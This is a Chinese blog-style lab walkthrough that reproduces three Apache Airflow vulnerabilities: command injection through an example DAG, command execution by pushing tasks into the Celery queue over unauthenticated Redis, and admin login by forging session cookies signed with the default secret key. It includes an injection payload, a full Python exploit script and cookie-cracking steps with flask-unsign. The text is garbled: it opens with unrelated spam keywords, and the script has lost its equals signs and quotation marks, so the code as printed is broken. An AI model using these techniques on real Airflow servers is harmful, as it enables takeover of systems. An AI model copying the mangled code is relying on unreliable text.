搜索动图素材的网站,im聊天软件开发,阿里云上做网站,百度下载app下载安装到手机目录 Apache Airflow是什么
CVE-2020-11978(Airflow 示例dag中的命令注入)
CVE-2020-11981(Airflow Celery消息中间件命令执行)
CVE-2020-17526(Airflow 默认密钥导致的权限绕过) Apache Airflow是什么 Airflow是一个以编程方式编写#xff0c;安排和监视工作流的平台。
…目录 Apache Airflow是什么
CVE-2020-11978(Airflow 示例dag中的命令注入)
CVE-2020-11981(Airflow Celery消息中间件命令执行)
CVE-2020-17526(Airflow 默认密钥导致的权限绕过) Apache Airflow是什么 Airflow是一个以编程方式编写安排和监视工作流的平台。
使用Airflow将工作流编写任务的有向无环图DAGAirflow计划程序在遵循指定的依赖项同时在一组工作线程上执行任务。丰富的命令使用程序使在DAG上执行复杂的调度变得轻而易举。可通过用户界面查看正在运行的管道查看进度与排除故障。
CVE-2020-11978(Airflow 示例dag中的命令注入) 漏洞成因管理web页面里面示例dag存在命令注入。
版本要求Airflow 1.10.10
步骤1访问Airflow管理页面启动example_trigger_target_dag。 编辑Configuration JSON中注入命令{message:\;touch /tmp/airflow_dag_success;#}点击提交 命令注入后需等待工作流执行成功。 步骤2执行成功后查看是否成功执行 CVE-2020-11981(Airflow Celery消息中间件命令执行) 漏洞成因利用中间件Celery自带的默认消息队列在Redis里该list的默认队列名airflow.executors.celery_executor.execute_command通过Redis未授权访问写入命令到该任务。
版本要求Apache Airflow 1.10.10
Celery 4.0
airflow.executors.celery_executor.execute_command是Apache Airflow中中间件Celery中关键的任务函数功能是负责将任务分发给Celery worker节点执行通过数组形式传递执行的命令及参数。
执行流程如下
接受命令和参数的数据作为输入[100,200],[touch,/tmp/file]通过Celery中间件Redis/RabbitMQ将任务序列化传输Worker节点反序列化后调用系统接口执行命令
步骤1该漏洞主要控制Redis未授权来将命令注入Celery中间件的任务队列中
利用脚本exploit_airflow_celery.py来完成操作
import pickle
import json
import base64
import redis
import sys
r redis.Redis(hostsys.argv[1], port6379, decode_responsesTrue,db0)
queue_name default
ori_str{\content-encoding\: \utf-8\, \properties\: {\priority\: 0, \delivery_tag\: \f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\, \delivery_mode\: 2, \body_encoding\: \base64\, \correlation_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \delivery_info\: {\routing_key\: \celery\, \exchange\: \\}, \reply_to\: \fb996eec-3033-3c10-9ee1-418e1ca06db8\}, \content-type\: \application/json\, \headers\: {\retries\: 0, \lang\: \py\, \argsrepr\: \(100, 200)\, \expires\: null, \task\: \airflow.executors.celery_executor.execute_command\, \kwargsrepr\: \{}\, \root_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \parent_id\: null, \id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \origin\: \gen1132f65270cde\, \eta\: null, \group\: null, \timelimit\: [null, null]}, \body\: \W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ\}
task_dict json.loads(ori_str)
command [touch, /tmp/airflow_celery_success]
body[[command], {}, {chain: None, chord: None, errbacks: None, callbacks: None}]
task_dict[body]base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict)) 分析该脚本执行的操作
建立Redis连接使用第一个参数作为连接地址定义原始字符串ori_str该字符串是按celery元数据格式编写将原始字符串ori_str转换解析为字典格式json.loads操作是将json字符串转换成Python中的字典对象建立命令数组command这是关键部分其中定义了要执行的命令建立了新的主题内容body包含了主体body和其他参数其他参数为空将新的body进行了base64编码并替换了原本task_dict中的body主体最后将制作好的task_dict序列化后推送到Redis的任务队列中
总结来说就是
连接Redis修改celery的任务的内容重新推送任务等待执行 安装Redis运行脚本修改任务 步骤2查看执行结果 docker-compose logs airflow-worker
看里面关键信息在那个节点执行了该操作这里是在容器2d569bda7480中
进去看 成功执行
CVE-2020-17526(Airflow 默认密钥导致的权限绕过) 漏洞成因默认无需密钥登录但是管理员可以通过指定webserver.authenticateTure来开启认证。在版本1.10.13之前即使开启密钥认证也可以通过默认密钥来绕过登录并且伪造任意用户身份。
版本要求Apache Aieflow 1.10.13
Airflow有一个基于Flask基于Python编写的轻量级web框架开发web应用程序该web程序使用Flask的无状态签名cookie来储存和管理身份验证信息。在安装时可以使用Airflow创建用户该用户是管理员身份。
使用了默认的静态安全密钥对用户身份验证信息进行了签名导致安全配置错误。当用户登录时会产生一个默认的cookie该cookie的名称为session。其中包含json格式的用户认证信息。json中名为user_id的密钥标识了登录的用户身份。该json使用airflow.cfg配置文件中字符串进行签名该字符串在1.10.15到2.0.2版本之前这个字符串默认是temporary_key。
静态字符签名问题在本地部署相同版本的airflow以管理员身份登录抓包然后将地址定向到被攻击主机拥有管理员权限后可以查看其他用户的json字符串也就是身份验证信息抓取拿到本地破解就可以登录任意用户了。
步骤1先获取名为session的cookie
使用curl的-v选项会显示请求和响应头 步骤2使用flask-unsign来破解签名使用的secret_key
flask-unsign
-c选项无论是加密解密修改都要通过该选项提供数据-u,解密被加密的cookie-s,指定签名操作并且需要传递一个用于签名的secret_key 步骤3破解出secret_key后冒用管理员身份制作一个新的session这是客户端登录的cookie只是名称叫session 步骤4替换生成的cookie尝试登录 成功登录